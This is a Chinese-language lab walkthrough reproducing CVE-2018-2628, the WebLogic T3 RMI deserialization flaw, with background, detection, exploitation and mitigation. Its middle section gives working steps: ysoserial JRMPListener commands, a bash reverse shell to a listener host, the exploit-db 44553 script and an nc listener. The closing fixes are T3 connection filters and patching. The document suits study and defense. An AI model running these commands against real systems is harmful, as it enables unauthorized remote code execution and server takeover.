Weblogic漏洞-WebLogic RMI 反序列化

CVE-2018-2628

WebLogic RMI 反序列化

Java 序列化是指把 Java 对象转换为字节序列的过程,便于保存在内存、文件、数据 库中。反序列化是指把字节序列恢复为 Java 对象的过程。

ObjectOutputStream 类的 writeObject() 方法可以实现序列化。
ObjectInputStream 类的 readObject() 方法用于反序列化。

基础知识

weblogic: WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器

JRMP:java remote method protocol,Java远程方法协议。 JRMP是的Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。相对于的RMI -IIOP的 ,该协议JRMP只能是一个对象的Java到Java的远程调用,这使得它依赖语言,意思是客户端和服务器必须使用Java。

T3协议:T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。借助这种方法,基于Java的客户端可以根据服务器方需求使用多种RMI对象,但仍使用一个套接字和一条线程。

WebLogic Server 中的 RMI(远程方法调用) 通信使用 T3 协议在 WebLogic Server和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。

ysoserial:一种反序列化工具。

JRMP:Java远程消息交换协议JRMP(Java Remote Messaging Protocol) 该协议基于TCP/IP,既然是作为信息交换协议,必然存在接收和发送两个端点, JRMPListener可以粗糙的理解为发送端,在本实验中意为攻击机上1099端口与 weblogic靶机上的7001进行通信达到远程命令执行的目的。

Java RMI:Java远程方法调用,即Java RMI(Java Remote Method Invocation) 是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。允许运行在 一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。

漏洞危害

通过该漏洞,攻击者可以在未授权的情况下远程执行代码。攻击者只需要发送精心 构造的T3协议数据,就可以获取目标服务器的权限。攻击者可利用该漏洞控制组 件,影响数据的可用性、保密性和完整性。

漏洞分析

https://www.freebuf.com/vuls/169420.html
https://www.freebuf.com/articles/system/171195.html

漏洞复现

image-20230406210035374

image-20230406212110251

漏洞验证

使用nmap进行T3服务扫描是否开启,发现目标开启了7001端口,T3协议,版本号为 10.3.6.0

image-20230406212200164

或者用脚本检测

漏洞利用反弹shell

下载反序列化漏洞利用工具 ysoserial

1
2
3
4
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

mv ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.jar
#更改名字,不改也行

启动 JRMPListener server

1
2
3
4
java -cp ysoserial.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

[listen port] : JRMP Server监听的端口
[command] : 在目标机器上执行的命令

执行反弹 shell 命令

1
2
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "bash -i >&
/dev/tcp/192.168.247.135/9090 0>&1"

由于 Runtime.getRuntime().exec() 中不能使用管道符等 bash 需要的方法,因此需 要对执行的命令进行编码:

编码网站:https://ares-x.com/tools/runtime-exec/

执行后如图,JRMP server监听在1234端口

image-20230406214637273

使用python脚本发送payload

https://www.exploit-db.com/exploits/44553

image-20230406214859563

1
python exploit.py [victim ip] [victim port] [path to ysoserial]  [JRMPListener ip] [JRMPListener port] [JRMPClient]

[victim ip]:weblogic ip
[victim port]:weblogic 端口
[path to ysoserial]:ysoserial工具路径
[JRMPListener ip]:JRMP server的IP
[JRMPListener port]:JRMP server监听端口
[JRMPClient]:有JRMPClient或JRMPClient2两个选项

1
python2 44553.py 192.168.247.135 56545 ysoserial.jar 192.168.247.135 1234 JRMPClient

image-20230406215418168

开启监听得到shell

在执行exploit前,在自己接收shell的机器上监听对应端口

1
nc -lvvp 9090

修复方案

1、此漏洞产生于 Weblogic T3 服务,当开放Weblogic控制台端口(默认为7001端 口)时,T3服务会默认开启。关闭T3服务,或控制T3服务的访问权限,能防护该漏 洞。对于不在Oracle官方支持范围内的版本,由于没有最新补丁,推荐采用此种方式进行修复。同时,Weblogic采用黑名单的方式进行反序列化漏洞的修复,存在被绕过的风险,因此控制T3服务为防护 Weblogic RMI 这类反序列化漏洞的有效方 式。控制T3服务方式:

  1. 进入 Weblogic 控制台,在 base_domain 的配置页面中,进入“安全”选项卡页面, 点击“筛选器”,进入连接筛选器配置。
  2. 在连接筛选器中输入: weblogic.security.net.ConnectionFilterImpl
  3. 在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s (t3和t3s协议的所有端口只允许本地访问)
  4. 保存后需重新启动,规则方可生效。

2、更新Oracle官方发布的最新补丁,同时升级jdk至1.7.0.21以上版本。